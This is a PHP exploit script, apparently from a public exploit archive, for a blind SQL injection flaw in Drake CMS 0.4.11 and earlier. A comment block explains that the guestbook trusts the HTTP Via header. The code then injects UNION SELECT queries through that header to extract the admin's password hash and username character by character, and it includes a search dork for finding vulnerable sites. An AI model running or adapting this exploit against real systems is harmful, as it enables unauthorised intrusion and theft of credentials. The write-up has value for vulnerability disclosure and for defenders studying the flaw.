drakecms-sql.txt

`<?php  
  
/*  
------------------------------------------------------  
Drake CMS <= 0.4.11 Remote Blind SQL Injection Exploit  
------------------------------------------------------  
  
author...: EgiX  
mail.....: n0b0d13s[at]gmail[dot]com  
  
link.....: http://drakecms.sourceforge.net/  
dork.....: "Powered by Drake CMS" inurl:index.php?option=guestbook  
  
[-] Blind SQL Injection in /components/guestbook/guestbook.php  
  
15. case "insert" :  
16. if (!$my->gid) {  
17. if ('' === ($gb_name = in('gb_name', __SQL | __NOHTML, $_POST, '', 50))  
18. || ('' === ($gb_email = in('gb_email', __SQL | __NOHTML, $_POST, '', 50)))  
19. || !is_email($gb_email)  
20. )  
21. CMSResponse::Back(_FORM_NC);  
22. } else {  
23. $gb_name = $my->name;  
24. $gb_email = $my->email;  
25. }  
26.   
27. $timeout = $params->get('timeout',5);  
28.   
29. $row = $conn->GetRow("SELECT id,ip,date FROM #__guestbook WHERE ip ='".$my->GetIP()."' AND date > '".($time-($timeout*60))."' "); <==  
30.   
31. if(!count($row)) {  
32. if ($params->get('captcha') && !$my->valid_captcha())  
33. break;  
34.   
35. $gb_url = in('gb_url', __SQL | __NOHTML, $_POST, '');  
36. $gb_country = in('gb_country', __SQL | __NOHTML, $_POST, '', 50);  
37. $gb_title = in('gb_title', __SQL | __NOHTML, $_POST, '', 255);  
38. $gb_message = in('gb_message', __SQL | __NOHTML, $_POST, '');  
39.   
40. $conn->Insert('#__guestbook', '(name,email,url,country,title,message,ip,date)',"'$gb_name','$gb_email','$gb_url', (...)  
41.   
42. } else  
43. echo _GUESTBOOK_DOUBLE_SIGN;  
  
if you analize GetIP() function defined into /classes/user.php (lines 61-66) you can see that an attacker  
could be inject arbitrary SQL code through http via header...this results in a blind SQL injection at line 29  
  
[-] look at /includes/retrieve_ip.php  
  
69. if(isset($_SERVER['HTTP_VIA'])) {  
70. // case 2:   
71. // proxy && HTTP_(X_) FORWARDED (_FOR) not defined && HTTP_VIA defined  
72. // other exotic variables may be defined   
73. return ( $_SERVER['HTTP_VIA'].$x_coming_from.$coming_from ) ; <== this is the same value returned from GetIP()  
74. }  
  
*/  
  
error_reporting(0);  
set_time_limit(0);  
ini_set("default_socket_timeout", 5);  
  
function http_send($host, $packet)  
{  
$sock = fsockopen($host, 80);  
while (!$sock)  
{  
print "\n[-] No response from {$host}:80 Trying again...\n";  
$sock = fsockopen($host, 80);  
}  
fputs($sock, $packet);  
while (!feof($sock)) $resp .= fread($sock, 1024);  
fclose($sock);  
return $resp;  
}  
  
function check_query($sql)  
{  
global $host, $path;  
  
$payload = "gb_name=null&gb_email=foo%40bar.com&task=insert";  
$packet = "POST {$path}index.php?option=guestbook HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Via: {$sql}\r\n";  
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";  
$packet .= "Content-Length: ".strlen($payload)."\r\n";  
$packet .= "Connection: close\r\n\r\n";  
$packet .= $payload;  
  
return (!preg_match("/UNION\/\*\*\/SELECT/", http_send($host, $packet)));  
}  
  
print "\n+----------------------------------------------------------------+";  
print "\n| Drake CMS <= 0.4.11 Remote Blind SQL Injection Exploit by EgiX |";  
print "\n+----------------------------------------------------------------+\n";  
  
if ($argc < 3)  
{  
print "\nUsage......: php $argv[0] host path [userid] [prefix]\n";  
print "\nhost.......: target server (ip/hostname)";  
print "\npath.......: path to Drake CMS directory (example: / or /drake/)";  
print "\nuserid.....: user id (default: 1 - admin)";  
print "\nprefix.....: table's prefix (default: dk_)\n";  
die();  
}  
  
$host = $argv[1];  
$path = $argv[2];  
$uid = (isset($argv[3]) ? $argv[3] : "1");  
$pre = (isset($argv[4]) ? $argv[4] : "dk_");  
  
$hash = array(0,48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);  
$index = 1; $md5 = "";  
print "\n[-] MD5 Hash: ";  
  
while (!strpos($md5, chr(0)))  
{  
for ($i = 0, $n = count($hash); $i <= $n; $i++)  
{  
if ($i == $n) die("\n\n[-] Exploit failed...\n");  
$sql = "-1'/**/UNION/**/SELECT/**/password,1,1/**/FROM/**/{$pre}users/**/WHERE/**/ORD(SUBSTR(password,{$index},1))={$hash[$i]}/**/AND/**/id={$uid}/*";  
if (check_query($sql)) { $md5 .= chr($hash[$i]); print chr($hash[$i]); break; }  
}  
  
$index++;  
}  
  
$char = array(0); // null char  
for ($j = 97; $j <= 122; $j++) $char = array_merge($char, array($j)); // a-z  
for ($j = 65; $j <= 90; $j++) $char = array_merge($char, array($j)); // A-Z  
for ($j = 48; $j <= 57; $j++) $char = array_merge($char, array($j)); // 0-9  
  
$index = 1; $user = "";  
print "\n[-] Username: ";  
  
while (!strpos($user, chr(0)))  
{  
for ($i = 0, $n = count($char); $i <= $n; $i++)  
{  
if ($i == $n) die("\n\n[-] Exploit failed...\n");  
$sql = "-1'/**/UNION/**/SELECT/**/username,1,1/**/FROM/**/{$pre}users/**/WHERE/**/ORD(SUBSTR(username,{$index},1))={$char[$i]}/**/AND/**/id={$uid}/*";  
if (check_query($sql)) { $user .= chr($char[$i]); print chr($char[$i]); break; }  
}  
  
$index++;  
}  
  
print "\n\n[-] Successfull!\n";  
  
?>  
  
  
`